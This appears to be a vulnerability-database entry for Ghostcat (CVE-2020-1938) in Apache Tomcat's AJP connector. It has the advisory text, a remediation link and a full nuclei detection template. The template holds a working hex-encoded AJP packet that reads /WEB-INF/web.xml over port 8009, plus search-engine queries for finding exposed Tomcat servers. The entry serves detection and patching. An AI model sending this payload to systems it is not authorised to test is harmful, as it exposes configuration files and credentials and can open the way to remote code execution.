Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability

Exploited in the wild. Listed by CISA on 2022-03-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.

Impact

This vulnerability can lead to unauthorized access to sensitive information, such as configuration files, source code, or credentials.

Fix

https://access.redhat.com/solutions/4851251

How to confirm it

Send: tcp probe to {{Hostname}}, {{Host}}:8009
Positive when: contains "See the NOTICE file distributed with"

Run it with nuclei: nuclei -id CVE-2020-1938 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-1938

info:
  name: Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability
  author: milo2012
  severity: critical
  description: When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, such as configuration files, source code, or credentials.
  remediation: https://access.redhat.com/solutions/4851251
  reference:
    - https://www.tenable.com/blog/cve-2020-1938-ghostcat-apache-tomcat-ajp-file-readinclusion-vulnerability-cnvd-2020-10487
    - https://nvd.nist.gov/vuln/detail/CVE-2020-1938
    - https://lists.apache.org/thread.html/r7c6f492fbd39af34a68681dbbba0468490ff1a97a1bd79c6a53610ef%40%3Cannounce.tomcat.apache.org%3E
    - https://lists.apache.org/thread.html/r75113652e46c4dee687236510649acfb70d2c63e074152049c3f399d@%3Cnotifications.ofbiz.apache.org%3E
    - http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00025.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-1938
    cwe-id: CWE-269
    epss-score: 0.9927
    epss-percentile: 0.99936
    cpe: cpe:2.3:a:apache:geode:1.12.0:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: apache
    product: geode
    shodan-query:
      - title:"Apache Tomcat"
      - http.title:"apache tomcat"
    fofa-query: title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve,cve2020,kev,tenable,apache,lfi,network,tomcat,ajp,tcp,vkev,vuln

tcp:
  - host:
      - "{{Hostname}}"
      - "{{Host}}:8009"
    inputs:
      - data: "{{hex_decode('1234020e02020008485454502f312e310000132f6578616d706c65732f78787878782e6a73700000093132372e302e302e3100ffff00093132372e302e302e31000050000009a006000a6b6565702d616c69766500000f4163636570742d4c616e677561676500000e656e2d55532c656e3b713d302e3500a00800013000000f4163636570742d456e636f64696e67000013677a69702c206465666c6174652c207364636800000d43616368652d436f6e74726f6c0000096d61782d6167653d3000a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a34362e3029204765636b6f2f32303130303130312046697265666f782f34362e30000019557067726164652d496e7365637572652d52657175657374730000013100a001004a746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c2a2f2a3b713d302e3800a00b00093132372e302e302e31000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000012f000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f0000102f5745422d494e462f7765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000012f00ff')}}"

    read-size: 1024
    matchers:
      - type: word
        words:
          - "See the NOTICE file distributed with"

References

Use this check only on systems you are authorised to test. Where the data comes from